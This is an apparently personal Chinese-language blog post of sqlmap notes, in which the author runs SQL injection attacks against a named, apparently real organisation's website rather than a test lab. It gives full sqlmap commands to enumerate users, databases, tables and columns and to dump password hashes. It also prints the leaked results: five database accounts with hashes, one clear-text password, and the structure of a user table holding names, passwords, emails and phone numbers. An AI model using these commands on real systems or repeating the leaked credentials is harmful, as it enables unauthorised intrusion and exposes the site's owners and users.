Swane's blog

游弋于黑白之间,但愿我未曾来过……

导航

sqlmap使用笔记

测试目标:http://www.cmccb.org.cn/cmccbnew/SiteInfo/SiteInfo_Onesel.php?Bar_ID=26

=====================================

获取当前用户、当前库、数据库版本、所有用户、所有库、用户密码:

sqlmap.py -u http://www.cmccb.org.cn/cmccbnew/SiteInfo/SiteInfo_Onesel.php?Bar_ID=26 --current-user --current-db -b --users --dbs --pas
swords

=====================================

获取当前数据库账号密码:

sqlmap.py -u http://www.cmccb.org.cn/cmccbnew/SiteInfo/SiteInfo_Onesel.php?Bar_ID=26 --passwords

结果:

database management system users password hashes:
[*] baz [1]:
    password hash: 79ea156e3e5412be
[*] cmccb [1]:
    password hash: 5833dd5501da697c
[*] gxpt [1]:
    password hash: 5c1d72260f8a5dd9
    clear-text password: capslock
[*] ngpdvs [1]:
    password hash: 79ea156e3e5412be
[*] root [2]:
    password hash: 198d51c03e966c6e
    password hash: 5110c9433a0dd108

=====================================

1、获取所有库、所有用户、当前使用库、当前用户

sqlmap.py -u http://www.cmccb.org.cn/cmccbnew/SiteInfo/SiteInfo_Onesel.php?Bar_ID=26 --current-db --current-user --users --dbs

结果:

//当前用户
current user:    'cmccb@localhost'
//当前库
current database:    'cmccb'

//所有用户
database management system users [5]:
[*] baz
[*] cmccb
[*] gxpt
[*] ngpdvs
[*] root

//所有库
available databases [4]:
[*] cmccb
[*] gxpt
[*] test
[*] test\_%

  

=====================================

2、获取当前库cmccb的所有表:

sqlmap.py -u http://www.cmccb.org.cn/cmccbnew/SiteInfo/SiteInfo_Onesel.php?Bar_ID=26 -D cmccb --tables

结果:

Database: cmccb
[8 tables]
+----------+
| city     |
| job      |
| province |
| rights   |
| siteinfo |
| staff    |
| test     |
| user     |
+----------+

  

=====================================

3、获取user表的所有字段:

sqlmap.py -u http://www.cmccb.org.cn/cmccbnew/SiteInfo/SiteInfo_Onesel.php?Bar_ID=26 -D cmccb -T user --columns

结果:

Database: cmccb
Table: user
[10 columns]
+-----------+---------+
| Column    | Type    |
+-----------+---------+
| city_id   | numeric |
| company   | numeric |
| email     | numeric |
| id        | numeric |
| loginname | numeric |
| mobile    | numeric |
| name      | numeric |
| passwd    | numeric |
| question  | numeric |
| zip       | numeric |
+-----------+---------+

 

posted on 2015-06-19 18:16  无名组  阅读(226)  评论(0编辑  收藏  举报